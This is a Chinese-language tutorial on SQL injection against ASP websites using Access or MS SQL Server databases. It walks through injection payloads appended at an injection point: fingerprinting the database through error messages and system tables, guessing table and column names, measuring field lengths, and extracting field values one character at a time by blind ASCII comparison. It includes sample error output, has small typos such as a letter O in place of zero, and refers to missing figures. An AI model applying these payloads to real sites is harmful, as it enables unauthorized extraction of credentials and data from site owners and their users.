Access数据库注入攻击基本技术
1. 爆出数据库类型
SQL Server有一些系统变量和系统表,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,可以直接从出错信息中获取判断数据库的类型(后面会给大家讲解如何突破IIS提示被关闭)。
1.1 内置变量爆数据库类型
“User”是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。
and user>0
该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。
如果提示如下出错信息
Microsoft OLE DB Provider for SQL Server 错误'80040e21'
将nvarchar值'****'转换为数据类型为int的列时发生语法错误。
/home/yz/yu/show.asp
则可以判断是MS SQL数据库。如果采用的是Access数据库的话,那么提示信息则会如下
1.2 内置数据库表爆数据库类型
如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点后提交如下查询语句。
and (select count(*) from sysobjects)>=O
and (select count(*) from msysobjects)>=O
Access存在系统表[msysobjects],不存在“sysobjects”表。因此如果数据库采用的是Access,会返回如下提示错误信息(图5)。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'
/home/yz/yu/show.asp, 行 8
[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet数据库引擎找不到输入表或查询'sysobjects'。确定它是否存在,以及它的名称的拼写是否正确。
在MS SQL Serve:存在系统表[sysobjects],不存在[msysobjects]系统表,因此会返回如下错误提示信息为(图6).
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名'msysobjects' 无效。
/home/yz/yu/show.asp, 行 8
2.猜数据库名
可在注入点后提交如下语句进行查询。
and exists(select * from 数据库表名 )
或者
and (select count(*) from 数据库表名 )>=0
上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表名继续进行查询。
这个是对应网站的数据库文件
数据库里并没有users这个表
正确的返回 以此类推
3. 猜字段名及字段长度
可在注入点后提交如下语句查询。
and exists(select 字段名 from 数据库表名 )
或者
and (select count(字段名) from 数据库表名 )>=0
如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。
猜解字段长度,可提交如下查询语句。
当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。
and (select top 1 len(字段名) from 数据库表名 )>1
and (select top 1 len(字段名) from 数据库表名 )>2
…
and (select top 1 len(字段名) from 数据库表名 )>n-1
and (select top 1 len(字段名) from 数据库表名 )>n
当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。
4.猜字段值
猜字段的ascii值,可在注入点后提交如下查询语句。
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>0
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>1
…
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n-1
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n
当提交>n-I时正常,而提交到>n时返回出错,那么说明字段值的ASCII码为n。反查ASCII码对应的字符,就可得到字段值的第一位字符。再继续提交如下查询。
and (select top 1 asc(mid(字段名,2,1)) from 数据库表名 )>0
用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止。